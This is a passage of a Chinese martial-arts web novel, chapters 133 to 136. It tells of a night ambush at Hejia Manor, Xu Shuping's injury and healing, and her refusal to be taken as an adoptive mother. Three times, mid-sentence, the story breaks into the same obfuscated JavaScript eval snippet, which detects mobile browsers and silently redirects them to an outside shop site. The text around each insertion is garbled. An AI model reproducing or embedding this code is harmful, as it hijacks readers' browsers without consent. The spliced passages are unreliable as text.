江珺翊对着她总是欲言又止,可齐熙宁除了帮他上药看伤,其他的话一句都不多说,从不给他开口的机会。他不知道怎么讨女孩欢心,便也闭紧嘴巴不发一语,最初见到齐熙宁时惊喜很快散去,心里又变得沉甸甸的。 瑾瑜把昆仑玉做的棋子交给谭修明,同来的紫瑛、齐熙宁请他立刻打开,都想瞧瞧新鲜。两个盒子中一黑一白的棋子颗颗饱满,细腻温润。谭修明大喜过望,立刻着人寻一个棋盘来,要与瑾瑜手谈。 瑾瑜学过几天棋,水平一般,正好可以哄谭修明开心。两局之后,谭修明已经将瑾瑜打烂他心爱棋子的事情忘得一干二净,还称赞他“布局严谨、落子沉着”。其实,那只不过是因为瑾瑜会的只是皮毛,为了不露怯下得极慢而已。到了后来,谭修明甚至提出要把自己最得意的招数教给他,还说“就算你资质一般,做不到百步穿杨,十步穿杨总是可能的。” 在一旁陪坐说笑的紫瑛、齐熙宁都捂嘴偷笑了起来。 133. 偷袭(一) 虽然紫璇体内真气失和之症暂无根治之法,但虑及她已经连着两次在和高手对战时气虚晕厥,许淑平还是想了诸多办法,除了每日助她调息之外,又开了一副调平气血的汤剂,于是紫璇又过上了药不离身的日子。 每日早晚两次,紫瑛亲自把药煎好,送到她房中,再眼睁睁看着她喝下,连半口都不许剩。齐熙宁陪她同来了几次,调侃她一丝不苟的样子堪比牢里的监刑官,可怕极了。紫璇抿嘴想笑,可瞧见紫瑛黯然低落的神色,轻快的嘴角顿时又绷紧了。 实际上,距离姐妹俩在明月居中发生的小小不快已经过去了四个多月,期间又发生了不少事情,紫璇早就放下了。但紫瑛的歉意并未消散,特别是紫璇连续两次原因不明地晕倒,更令她后怕又懊悔。 这件事除了她们两个当事者,就只有杜彦成听紫瑛提过。他每日目睹紫瑛辛苦熬药,从紫璇处回来时有神色郁郁,自然能猜到她的心思,便会着意去外面寻些有趣的玩意儿回来逗她开心。齐熙宁也是爱玩的性子,每每见了新鲜玩意儿总要凑上去,和杜彦成一齐叽叽喳喳几句。有这两人在,紫瑛总能笑上一笑。江珺翊练不了功又插不上话,往往在一旁呆坐,或是去看瑾瑜和谭修明下棋。 谭修明难得和一群活泼的年轻人共处,每日至少要缠着瑾瑜陪他下三四局棋,他想去看看紫璇都不得闲,实在没办法,只能央求齐熙宁帮他来应付一局。 “帮你可以,你拿什么犒劳我?” 自小齐熙宁便没少帮他打掩护,每一次都会和他讨要一点“利钱”,要是他不允,就威胁把秘密告诉姑姑去,每一次瑾瑜都会无可奈何的答应。 这一回也不例外。 “说吧,你想要什么?” “我这才发现,原来你轻功这么好。怎么学的?教教我吧。” 瑾瑜猛地敲了一下她的脑瓜,“口气真不小,这么点小忙竟然要我用武功来换。” “舍不得?”齐熙宁眨巴眨巴眼睛,“想得紫璇姐姐的青眼,可不能这么小气呀。” “瞎说什么呢!”瑾瑜的两只耳朵立马发起烧来,目光也不像刚才那么坦荡。 齐熙宁忍不住笑道:“我的好哥哥,你的那点心思以为谁看不出来呀。我早就想说了,与其像这样藏又藏不住,还不如直接一点,告诉人家得了。” “你才多大,能知道什么。”瑾瑜有些窘迫,只好拿出惯用伎俩。 “我比紫璇姐姐小不了多少,哪有我不知道的事。总而言之,你少自欺欺人,免得将来后悔。” 瑾瑜尚在犹豫要怎么回应,齐熙宁已经撂下最后一句话跑了:“下棋我去,轻功别忘了,剩下的你自己看着办吧。” 走之前还像江湖兄弟一般拍了拍他的肩膀已做鼓励。瑾瑜只能看着她的背影腹诽:“小屁孩装大人,还用你告诉我该怎么办。我只是……只是办的不成功……”他哪里知道齐熙宁不仅懂,还亲自实践过,不过也不太成功罢了。 至于贺新韵,则接过了之前贺永芳一直负责的庄内人丁及日常事务的督管,事情和在秋山居时要做的差不太多,但规模大了好几倍。许淑平和贺永芳议事时她也得在旁听着,偶尔说几句自己的意见,每日忙得脚不沾地,一天下来连三个时辰都睡不上。 初见许淑平时,贺永芳防备之心甚笃,唯恐她别有用心害了贺家。即便许淑平履行承诺助贺家庄度过危机,她也并不感激,只觉得这不过是天魄门为了贺家的消息网所作的交换而已,对待许淑平也仅仅之算得上客气。 直到和许淑平共事多日,她才真正意识到许淑平当年“天目三英”的名号并不只是来自于对她身份和武艺的恭维。 贺家庄武力不足,自卫不易,过去总依赖于从外面招揽会武之人充当护院。这次纷乱之后,原先的护院死伤不少,一时之间也找不到可靠的人来顶替。许淑平便提出,可以从庄户中拔擢身体强健之人,授之以基本的拳脚功夫,再教他们结成阵法,也可保一时无虞。如果遇到好的苗子,自己可以亲自传艺,时日一长,护卫个庄院不成问题。 她没有把贺家庄的安危捏在自己手中,当作威胁贺永芳合作的筹码,愿意让贺家掌握护卫自己的能力,这一点令贺永芳很是动容,这才愿意相信当日许淑平的承诺乃是出自真心。 贺家的经营消息网已有百年,虽然仍在运作,也是贺家庄立足江湖的根本,但在失去天魄门的助力之后,人力不如之前充裕,线路也有所收缩。 “若能在排兵布阵上想得细一些,把合适的人放在合适的位置,人少也能办大事。” 许淑平和贺永芳一连忙活了多日,偶尔还有贺新韵的帮忙,梳理了消息网的全部线路和所有节点,果然发现了许多重合之处和人力浪费的问题。于是重新布置线路,将一些就近的消息据点合并为一处,每处据点不再只处理单条线上的消息,改为汇总后再分线路向下一级发出。为此她们还重新设计了封装消息的密匣,每条线路各有标记,这样就不怕据点上的人搞混。如此一来,人力没有增加,收集和传递消息的方式没有太多变化,只是多了一笔造密匣的费用。贺永芳对此很是佩服,也更愿意在诸如治理庄务、选贤任能等事上请教许淑平。 这一日,贺永芳又和许淑平聊到深夜,若不是看见贺新韵哈欠连连,实在是撑不住了,估计还要多说几句。 贺新韵点上灯笼,引着两位长辈从书房出来,听见贺永芳边走边道:“今天有庄户来报,说是在下面庄子里看见我二哥了。” “确实吗?”许淑平步子未停,问道。 “他就看到了一眼,再看时人就不见了。他觉得和二哥的身形很像,但也并非绝对肯定。” “如果真的是他……你觉得,他眼下悄悄回来的目的会是什么?” 贺永芳思忖道:“夺权是不大可能的……难不成他还没有死心,还巴望这来庄里找所谓藏宝图的线索?” 许淑平闻言点头:“很有可能。不过这并非关键,真正重要的是,是他自己要找?还是有人派他来找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581697|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “你担心,是魏菘泽遣他回来的?” “不错。魏菘泽似乎对藏宝图势在必得。如若真的如此,那么来的就必然不只是贺永识一人。” “那我们现在怎么办?” “最要紧的是护好新韵的安全,另外,书房周围也要细密布置。能一举擒获贺永识最好,这样我们或许还能打听打听魏菘泽的情况。” 兹事体大,贺永芳不敢耽搁,立刻吩咐人去办。 贺新韵陪许淑平继续返回住处,路上忍不住埋怨道:“姑姑也真是的,不管大小事,都要听听你的意见才肯拍板。你又要帮她,还要操心璇儿,这么下去身子能熬得住嘛。” “贺家庄刚刚易主,再加上贺永识留下来的问题不少,若不在这个时候谨慎些,引出内乱来,你姑姑可就是贺家的罪人了。” 她见贺新韵不语,又道:“我和永芳这个时候用心,都是为着你将来接任时,贺家庄能有一番新气象,你也不至于像她一样到处补窟窿。让你来,多听一听,以后做了庄主脑子也活泛些。” “姑姑和你都正当壮年,我且可以偷懒呢,不急于这一时。你们俩眼光放长远些,吃好睡好了,多替我看几年……” 贺新韵还没说完,许淑平突然将她扯到自己跟前,示意她噤声,然后警惕地环顾四周。 贺家庄每座房子屋檐下都有灯笼,可彼此来往的路径上却没有可供照明之物,全靠来来往往的人手执灯笼才能看清。贺新韵手里的灯笼因为许淑平突然的拉扯而被带得摇晃,里面的烛火随之摇曳不定,在黑沉沉的夜色中更让人心慌。 就在刚刚,许淑平听到了瓦片碎裂的细微声响,可等她和贺新韵牢牢定住,这个声音又消失了。她们所在的地方是两所院子中间的甬道,两边都是高墙,定睛看去没有任何异常。但许淑平知道,墙上随时都有可能跳下人来,像她这样的高手,面对万籁俱寂中隐伏的危险,也不免心中惴惴。 “怎么了?”停了许久,许淑平却不发一语,贺新韵便轻声问道。 “有人。”许淑平只说了两个字,目光仍然在两侧的高墙上徘徊。 贺新韵循着她的目光也朝周围望了几眼,但太黑了,能看到的距离有限。 “这里常有老鼠、野兔之类的,或许是这些东西?” 许淑平摇摇头,眼中警惕不减分毫。 贺新韵还要再说,腰间骤然受到一股大力,下一刻身子便腾空而起,手中灯笼跌落,蜡烛顿时熄灭。 黑暗中,许淑平辨明贺新韵的方位,纵跃两下,伸掌扑了上去。来人早已料到她的反应,在她腾空之时将贺新韵猛地扔出。眼看着掌力立刻便会及于贺新韵,许淑平急忙侧身,将内力尽数卸在一侧的墙上,墙轰然倒塌,扬起的尘土让贺新韵呛得咳出声来。但咳嗽声只响了一下,随即被硬生生逼成了尖叫。 许淑平赶紧回身,看到的是已经落入贺永识手中的贺新韵。贺远识将人扭在自己臂弯中,手中匕首抵上她喉间。 134. 偷袭(二) 与此同时,许淑平身后又飞下五人,和刚刚袭击贺新韵的那人一起,趁着她惊骇之时围了上来。 “贺永识,你要干什么!”许淑平先问道。 “把藏宝图交出来,换她的命。” 许淑平并不回话,环视了一圈将自己围住的几个人,心中盘算着自己能有多少胜算。 “不要管我,我爹的东西决不能给他!” 贺新韵在黑暗中大叫,贺永识左手猛击她后腰,喝令她闭嘴。 她吃痛,却不敢弯腰。许淑平亦不敢贸然出手,刚才那人捉去贺新韵时露了一手上乘的擒拿功夫,显然不俗,其余五人定然也不是泛泛之辈。她推到院墙的动静不小,增援之人必然马上就到。 想到此处,她已有计较。 “贺新韵是你兄长唯一的骨血,你也下得去手?”她瞧着贺永识,语气中不乏奚落,贺永识刚有反应,她袖中飞镖激射而出,在任何人能够出手阻挠之前已经打中了他气海和伏兔两穴。 贺永识腰腹剧痛,下一秒膝盖绵软,坠了下去。贺新韵瞅准时机,脖颈后仰,同时双手上举猛地夺过他手上匕首。虽然手掌被狠狠划开了一道口子,但也脱了生命危险。 许淑平在射出飞镖之后并不关注贺永识的情况,而是斜刺里飞出,趁人不备用手中飞镖插中了身后一人的心口。然后将那人身子横举,隔空向着贺新韵的方向扔了过去。原本奔去接替贺永识捉拿贺新韵的人不得不击出一掌,以免被飞来的人形炮弹压倒。 空中那人先被许淑平贯注了内力才直挺挺飞出,又被自己的同伴再加上两股力道,只听得刺啦刺啦几声,他的身子便凭空撕裂为几块,飙着血散到了各处。 便在此刻,援兵赶到,立刻将剩余五人分作几段,各自斗了起来。瑾瑜、杜彦成、紫瑛、齐熙宁四人合力,勉强能够阻住其中一人的去路。紫璇和江珺翊各自分去一人,面对敌人强攻,他们也只能尽力维持战局,不让自己后退。 剩下三人便需许淑平一人拿下。她上下左右自如纵跃,周旋在三人之间,这里打上一掌,那里飞出一脚,将他们牵制在自己攻击范围内。 三人心知肚明,如此缠斗下去,吃亏的是远来的自己,只有突破许淑平才能带着贺新韵逃出贺家庄。其中一人向自己的同伙使了个眼色,继而滚地向前,朝着许淑平下盘攻了过去。另两人不去理会许淑平打来的肉掌,同时跃起、俯冲,一左一右,将贯注了几乎全部内力的手掌递到了许淑平身前。 许淑平先行跳跃,身子直直落下,重重地踩向最先攻来的那人,继而双手出掌,与另外两人掌力相抵。 其中右手那人极为强劲,许淑平为了抵住他的攻势,自然把更多的力道运到了右侧。同时左腿飞出,想要先解除左边那人的威胁。然而左手那人在对掌之时故意隐藏实力,专门等到许淑平轻视自己,将大幅精力放诸右侧之时,才突然矮身、飞出两步,朝着贺新韵那一侧闯了过去。 贺新韵此刻毫无倚恃,即便闪开几步也决不能躲开那人的掌风,眼看着只有毙命掌下的命运。 许淑平大惊,立刻挥拳格开右侧之人,即刻飞身去抓那人后背。那人离贺新韵尚有半尺之远,见自己目的达到,立马回身出掌。与此同时,另一人也已攻来。许淑平一心只在贺新韵身上,确认她终于安全了,才蓦然发觉自己腹背受敌,此时已经根本来不及应对。 许淑平前后一齐中掌,在空中喷出一口鲜血,继而向下跌落。贺新韵顾不上拿在自己手中的贺永识和已然扑向自己的两个高手,冲着许淑平的方向猛冲过去,将她下落的身子抱在了自己怀中,人也因承受不住她下坠的力道一起跌坐在了地上。 两人不依不饶,旋即转向跟了过来,想趁此结果了许淑平。千钧一发之际,一道黑影穿过重重夜色,疾速俯冲而来。两人刚刚有所察觉,尚未看清他的动向,下一刻他已出现在眼前。惊叫被恐惧吞没,来人不费吹灰之力就擒住一人,如同仍一截没用的木头一般,施加内力将他向仍然矗立的另一侧高墙撞过去,墙瞬间坍塌,将人埋在了瓦砾之中。 剩余一人强自镇定,矮身想要攻他下盘。来人却似乎早就摸清了他的功夫路数,他的膝盖刚一弯曲,对方的上半身就已经挨到自己,继而肩头受击,两条腿也被同时扫到,人站立不住,被对方按在了地上。 来人点住他的穴道,将其扔给了刚刚赶到的贺永芳。招式不停,接连制住了还在和几个年轻人纠缠的三个高手。 “骆前辈!”瑾瑜和紫璇认出来人,一起奔了过来。 来人正是骆雁声,他在高处观察良久,见偷袭之人突然放弃和许淑平对战,转而攻击贺新韵便料到不好,这才急忙赶来,没想到还是晚了一步。 他冲到许淑平身侧,将人从贺新韵手中夺过来,双手做掌覆在她背上,将内力绵绵送了进去。贺永芳带的人打着十来个灯笼,映照出一旁等待的众人的焦急神色,贺新韵更是惊惶失措,全靠贺永芳扶着才没有摔倒。 过了好一阵儿,骆雁声将人放开,摸了脉后才吐出一口气,道:“她受的内伤不轻,好在没有伤及心脉,暂时没有性命之忧。这两日需得好生照看着,不出别的情况才好。” 直到这时,贺新韵才放肆地落下眼泪,扑到贺永芳怀里痛哭起来。在天魄门的一众小辈眼里,比起文远骥,许淑平更像是那根不会倒塌的擎天大柱,从未设想过有一天许淑平也会受伤昏迷。刚才骆雁声诊脉未毕尚未出声之时,他们无不担心会听到自己最害怕的字眼。 “贺庄主,”骆雁声起身面向贺永芳,“烦你着人将她好生送去,这一晚上都必须有人守在她身边,有什么问题随时来找我。” 贺永芳立刻点头应承。 “我还需要一副笔墨,我写个方子,就算是要砸要抢哪个药铺都务必让她今晚吃上药。” 他又从自己怀中摸出一个盒子交给贺新韵:“这是补气归经的药丸,温水送服,今晚吃两粒,之后每日一粒,早饭时服下即可,你来操这个心。” 贺新韵急忙在自己脸上擦了两把,接过那个盒子,借着火光,看到里面果然有二三十粒褐红色的小药丸。 她还想问什么,骆雁声却道:“你们快去吧,先把药给她服下,过一个时辰再吃汤药。今夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591756|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最为关紧。” 他语气急切,贺新韵便不再耽搁,跟着贺永芳安排的人一起将许淑平抬往住处。贺永芳随骆雁声拿到药方之后即刻着人去办,然后又急忙赶到许淑平那里去瞧她。 此时许淑平已经服下了药丸,气息不似刚才那般微弱。贺新韵守在她的床前,婆娑的泪眼中盛满担忧。贺永芳瞧着也心里很不是滋味。她得到警报,赶到时刚好目睹了许淑平为了救贺新韵这才奋不顾身,以至于分神受伤。许淑平虽然面上疏离,危急关头对贺新韵的爱护毫不吝啬,这份情义不仅不比她这个做姑姑的差,说不定还要强上许多。回想起之前她还怀疑许淑平收养贺新韵藏了私心,她便愈发愧悔,如今只希望那位高人能够妙手回春,保住许淑平的性命。 ******************** 骆雁声呆坐桌边,桌上还放着刚才用来写方子的笔墨纸砚。 一旁的瑾瑜忆起秋山居中许淑平问起他时那种罕见的关切,再对比刚刚骆雁声为她运功疗伤及诊脉时的些许慌张,暗暗叹了口气。 “骆前辈,”他小心翼翼地开口:“你怎么知道许前辈在这里?是仲昌兄告诉你的吗?” 骆雁声没有回应,低头想着自己的心事。 “你在担心她?”瑾瑜又问,“要不要去看看?” 这时骆雁声才疲惫地摇了摇头:“不用了。” “你们多年未见,难道你不想亲眼看到她安好?” “她只要今夜能醒过来,后面便不会有大碍。等她一醒,我便会离开。” “怎么这么着急就要走?” “医术药理、内功调息,她都不亚于我。只要能醒过来,便可自行运功,再加上药物相协,内伤会慢慢痊愈,无需我操心。” “那你……不去见她一面吗?” 听到这个问题,骆雁声才第一次抬头,他看了一眼瑾瑜,最后自嘲地扯了扯嘴角,他什么都没说,这个年轻人竟然还是看出了他和许淑平的关系。 “见了面又如何?我与她少年相知,却也躲不过命运的翻覆。二十多年过去了,物是人非,我们也早不复当日心境。就算我再次出现,能挽回什么?又能改变什么?不过徒增怅惘罢了。不如不见,彼此相安。”骆雁声嘴角虽然弯着,但眼神里透出的怅惘瑾瑜不会看错。 “那……如果许前辈想见你呢?” “她?”骆雁声先是一愣,继而摇头道:“她虽然总是表现地温顺守礼,其实性子是最决绝的。过去的事已经过去了,她不会回头的……我也不会……”停了一会儿,他似是感叹,又是劝解,低声说了一句:“就算没有师父、没有苏明启,我和她也不适合在一块儿。” 瑾瑜印象中的骆雁声,飞扬又刻薄,从未想象过他也会有如此颓丧的模样。几句话之后,他已经不知道还能说些什么,故而也沉默了。 片刻后,紫璇进来,告诉骆雁声,出去配药的人顺利回来了,贺永芳正亲自看着人煎药,他的叮嘱被一一执行。 骆雁声点点头,没有其他回话。紫璇向瑾瑜看了一眼,瑾瑜暗暗摇头,叫她不要多问。 135. 认母(一) 在众人焦心的等待中,许淑平终于有了动静。只不过,等来的并不是苏醒,而是一阵急咳,还带出了不少暗红的血液,贺新韵揪心不已,贺永芳立刻去请骆雁声。 骆雁声来时,许淑平虽然不似之前昏睡,但并不十分清醒,口中喃喃有声,却听不真切。骆雁声把完脉,对一脸担忧的贺新韵道:“吃下去的药起了效,她的状况已经稳定下来了。接下来就是花时间好好修养,少劳累,多滋补。” “姥姥刚刚吐了好多血,不要紧吗?”贺新韵急道。 “那是内伤导致的血瘀,吐出来反倒是好事,不必担心。” 贺新韵这才稍稍安心,可看向许淑平的眼睛仍旧雾蒙蒙的。 这之后骆雁声又为许淑平运功疗伤一次,贺新韵明显发觉这一次许淑平的呼吸比之前平顺不少,虽然人还没彻底醒转,但明显有了活气。 整晚没睡再加上内力损耗,骆雁声的面容似乎也瞬间老了几岁。安顿好许淑平之后,贺永芳亲自将人送出许淑平住的院子,一路上骆雁声又向她叮嘱了许多日后许淑平饮食坐卧上要注意的细节,贺永芳都用心记下了。 骆雁声回过头,隔着院墙望向许淑平所在的方向:“她年纪也不轻了,还这般连日操劳,以至于气血亏虚,怎么可能还像从前一样受的住同时而来的两道掌力。” “说到底还是因为贺家庄警卫疲软,这才让许前辈受了累。”贺永芳愧疚道。 “这样的高手,又有贺永识做内应,你们就是再多几个护院,也不一定能拦得住。” “如今许前辈受伤,要是对手乘此时再次突袭,我们该如何应对? 按理说,贺永芳与骆雁声素未谋面,并不清楚他的身份,并不该拿贺家内部的问题来问他。只是现如今被她视为定海神针的许淑平一倒,她不免有些六神无主。骆雁声与许淑平年纪相仿,也是一样的从容冷静,贺永芳便下意识地把他当作了第二个许淑平。 骆雁声转过头,认真想了一想:“要一次集齐这么多高手并不容易,你们的对头这一次在贺家庄已然折损了十来个,恐怕不会那么快卷土重来。” 这恐怕是贺永芳此刻最想听到的答案,她马上应道:“如此最好。” 不过骆雁声还是不放心,回想昨晚的情形,又仔细问她:“那伙人的目标,除了要置她于死地,似乎还有故贺庄主的亲女儿?” “不错。”贺永芳回答地十分肯定,骆雁声便继续问道:“为了那副所谓的藏宝图?” 贺永芳没想到他连这件事都知道,是以刚才的保留被速速打破,转而开诚布公:“想必前辈也听说了我大哥追随前苏门主寻宝的传闻,半个多月前群豪汇集贺家庄,当时便有曹家堡的卢金良等一干人意图将新韵擒去,以为能从她的口中得出线索找到大哥留下来的蛛丝马迹。被许前辈拦下后,他们定然不死心,这些日子又筹集了力量,还借助我这位同样贪婪的二哥,这才暗入贺家,想一石二鸟。” 骆雁声虽然少理江湖事,但天魄门近几个月来的动向还是知道的,自然也清楚贺家如今的危机从何而来。听了贺永芳的分析,他很快抓住关键:“如果对头的目的是藏宝图,肯定不会就此罢休。只是要看对方还有多少人马,以及是不是还会如法炮制。敌在暗,你们在暗,若对方换了法子,你们抵挡起来可不容易。” 贺永芳如何不知,这才是整件事中最为难之处。既然已经说到自处,她便更不庇护,将许淑平与她商量的,顺着天魄门旧属揪出暗藏的魏家势力的计划讲了出来。 “可有收获?”骆雁声问。 “理清消息网花了些时日,这道命令刚下去不久,目前还没有什么发现。” “那就继续盯着。这件事绝不能急,你们的怀疑卢金良既已知晓,他不可能不有所防范,短期内行事便会更加小心,要么暂时断了和魏家的联络,要么换一种更为隐蔽的方式。” “许前辈也是这样说。要想从这条线上找出魏菘泽的下落,必得做好长期的准备,还叮嘱我切不可因下面长久拿不到消息就着急,甚至迁怒于人。” “于人事一道她的主意最正。越是处于劣势,‘人和’就越发要紧,否则恶人从内部渗透进来,万事都将功亏一篑。“ 贺永芳深深点头,心中越发好奇起他和许淑平的关系,缘何二者似乎没有深交,但所思所想却几乎一致。 “防卫也是如此。庄中的护院、武备自然重要,但也不能忽视周围的庄户。贺家庄立庄百年,四周皆有庄户拱卫,贺永识在时将之弃如敝履,这才失了民心,没了倚仗。若能让他们和贺家一心,协力留意周围的风吹草动,外人是没那么容易闯进来的。” 他对贺永识的批评贺永芳也深有同感,她随即道:“我知道该怎么办。” 以往贺新峦、贺新川等人若与庄户起了龃龉,大部分都是贺永芳去擦屁股的,比起贺永识庄户倒是更认她这个姑小姐,因此骆雁声的建议不难办到。 “再有,去查一查昨晚那些人是如何进来。就算有贺永识带路,他们想要通过重重院墙还无一人发觉必然走的不是寻常道路,说不定贺永识瞒着你们设置了密道一类的东西。好好审审那个活口,务必掌握把他们溜进来的线路,早做防范。只要危险进不来,贺新韵也好她也好,就都不会有危险。” 又商量了些许保家护院上的细节,贺永芳再无其他疑问,这才准备送他回去休息。谁知骆雁声却直接拒绝,反而提出这就要告辞离去。 “可是……” 他明明忙碌了一夜,疲倦肉眼可见,却似乎在这里一刻都不想多呆,贺永芳疑惑着出声,又不知道怎么问才不算失礼。 骆雁声不清楚她的想法,只道她还在担心许淑平的伤势,担心没了他不行,便说道:“今天之内她定然能醒来,剩下的她自己有办法。劳烦你不要忘记我刚刚说的那几项便可。” 贺永芳还要说话,前院有人来报,说有个自称韩仲昌的年轻认等在庄外,说要找一位叫做骆先生的人。贺永芳原本打算将人请进来,让他们慢慢细说。然而,骆雁声去意坚决,并不打算停留,向她匆匆道别后,随下人一起去了庄外。 韩仲昌行色匆匆,见到骆雁声的第一句话便是:“我们研制的解药不对,数百村民们先后再次毒发,且失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603169|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了心智,状若疯魔。” 骆雁声难以置信,皱着眉心向他详细询问起他村民毒发时的情况。 木兰庄内乱之后,被掳来的男子虽然恢复了自由,却毒素未清。按照骆雁声的方子,需将庄中寻到的药草再搭配一些清热利尿药材制成汤剂,定期让中毒之人服下,如此延续三个月,才能将残存在人体内的所有毒素清除干净。 三月之期一过,韩仲昌着人去各个村子查看,初时大家都没有异状,似乎已经恢复到了以前的模样,他便按照骆雁声的吩咐,停了制药之事。 但在前日,刘家村有人突然找到南阳小院,报告说他们村有十多个中过毒的男子好像是疯了,没力气干活也就罢了,有几个还如鬼神附体一般,见了木头就咬,即便口齿鲜血淋漓也不停下。剩余的妇孺老人没有办法,合力将他们擒住绑了起来,然后赶紧派人到南阳来求助。 这边刚送走刘家村的人,那边另外几个村的人也纷纷赶来,所说和刘家村的情况无异。小院中的人意识到不对,即刻让脚程最快的韩仲昌赶赴西河,找到骆雁声,请他速速回去查看。情况诡异又紧急,骆雁声不再多问,马上和他一起出发。 ****************** 当天晚些时候,许淑平才完全清醒过来,能够听到贺新韵在她耳旁的低语。贺新韵高兴地忘了说话,只是紧紧地搂住她,哭得像个七八岁的孩童一般。 许淑平虚弱至极,却还是勉为其难地伸出一只胳膊,轻轻地抚着她的脊背。 一直守在一旁的贺永芳瞧着这副情景,越发为她们二人之间的深情厚意而感动,如果不是许淑平待贺新韵不遗余力地好,贺新韵也不会如此为她牵肠挂肚。 无人处,贺永芳对贺新韵道:“前辈和你的情分,不必寻常人家的母女差。兄嫂为人所害,你流落在外,如果不是她,我都不敢想你要吃多少苦。” “姥姥看着性子冷,实是个热心肠,对待我们几个孩子也从没有一点偏私。在我心里,她就是我的第二个娘亲,不管她愿不愿意,我都要给她养老送终的。” 贺新韵说得情真意切,贺永芳更加动容,想了想,道:“那你何不将她认作义母?许前辈没有子女,如今孤苦一人,若有你能伴在身边,也不失为一桩晚年幸事。” “可……爹娘他们……会不会不同意。”贺新韵虽然很欢喜她能有此提议,但隐约还是怕不合规矩,特别是自己的至亲还在眼前。 贺永芳明白她的顾虑,立马说道:“大哥和嫂嫂若在天有灵,看着她顾念你犹如亲女,又怎么会说不呢?我如今虽然做了贺家家主,但更是你的亲姑姑,比起外人怎么想,我更看重你开不开心。所以,你要是真得愿意,就去做吧。” 听见她这样说,贺新韵再也没有什么可犹豫的,像回到十多岁那会儿,跳起来抱了她一下:“谢谢姑姑。” 然后便立刻跑去许淑平那里,郑重地跪在她床边,先是感谢了她多年的养育之恩和这一次救命的情义,然后把想要认她为义母,照顾她终老的打算说了出来。可没想到的是,许淑平并不乐意,还十分严肃地拒绝了她。 136. 认母(二) 贺新韵刚刚提出要将她认作母亲的时候,许淑平很是呆愣了一会儿,等她真正明白过来贺新韵的意思,居然怒不可遏,第一次对贺新韵说了重话,骂她胡思乱想,胡说八道,还让她不准再提起此事。 这之后,她甚至不再允许贺新韵继续守着她,以贺家局势未定,正是她用功之时为由将人赶了出去。贺新韵不放心,便央求紫瑛替她,可也还是被许淑平赶走了。 晚间,吃过药躺下的许淑平久久不能入睡,耳边回荡着贺新韵最后说的那句话,眼泪浸湿了枕头。 她少年成名,家世不错,又有爱人在侧,如无意外本可以平稳度过一生。即便和骆雁声多有口角,她也从未怀疑过这一点。然而变故陡生,不知因何缘故,父亲突然与骆雁声离心,甚至派人追杀他。她虽然救了骆雁声,却也再没有资格与他同路。 后来,天目派遭逢大难,为了获得外援,她在父亲的逼迫下远嫁西北。也不知到底是幸或不幸,婚后苏明启醉心于寻找宝藏,与她并无多少夫妻情分;她嫌弃苏明启狂妄又功利,乐得不用侍奉夫君。她在天魄门孑然一身,只以钻研武艺和医术打发时间,若不是后来晗月被送到天魄门,估计也不会和苏明启的一干弟子有所联系。 苏明启身故,她只觉得自己终于摆脱这个她从未喜欢过的男人,但也同时知道以自己的身份再难改嫁,意味着子女缘尽,这一辈子都得孤单一人了。贺新韵找到天魄门之后不久,夺门之变事发,晗月殒命。考虑到她的安危,她和紫璇被同时带往秋山居,避开有心人的视线。 最开始的时候,贺新韵于她不过是个少年失怙,需要庇护的孩子,她也只管给她必要的吃喝和安全上的保证。可贺新韵明朗大方又知冷知热,把所有人的喜好、习惯通通放在心上,既能安慰比她年幼的紫璇,也慢慢地担起照顾她起居的担子。 不知不觉间,她就对这个小姑娘上了心,知道她不喜欢学武,就把自己所知的管人理事的法子教给她,还让她试着调度秋山居的一切人财物,她竟然也办得极好。 瞧着贺新韵笑语盈盈地为她添菜,或是唠唠叨叨地嘱咐她加衣,许淑平尘封的心似乎也渐渐有了暖流,她忍不住想到,如果她有个孩子,有亲人陪伴,是不是就会是这个样子。 但当贺新韵真的说出这个她内心隐秘已久的渴望时,她却退缩了。她下意识地觉着,自己没有做过母亲,不能满足这个年少时横遭变故失去双亲的孩子对于娘亲的向往。 对于没有把握做好的事情,她从来都是不敢沾手的。一如当年她和骆雁声。一旦没有了指望,她会立刻回头,再也不见他。 早在她被迫嫁人的那一刻,她便不再希冀能够按自己的意愿活着。苏明启死后她能离开太白山过自己的逍遥日子已是万幸。前几天还能匆匆一瞥那个总是出现在梦里的认,知道他现在也老了许多,也在和她一起走向衰亡,更是心满意足。她怕自己无法再承受任何一点不配得到的幸福,她怕一切的奢望最终都会导致难以料想的危险。 骆雁声在危急时出现救了她,乃至为她运功疗伤,她都是知道的。可她醒来之后却谁也没有问,如果没人提起他,说明他并不想和她有什么瓜葛,自己又何必多生事端呢。 贺新韵了解许淑平的脾气,更清楚她的心思。她越是摇头,她就越坚持。许淑平不许她守着,她就每日处理好公事,然后借着公事的由头去见她,借机软磨硬泡就是要唤她做“娘亲”。 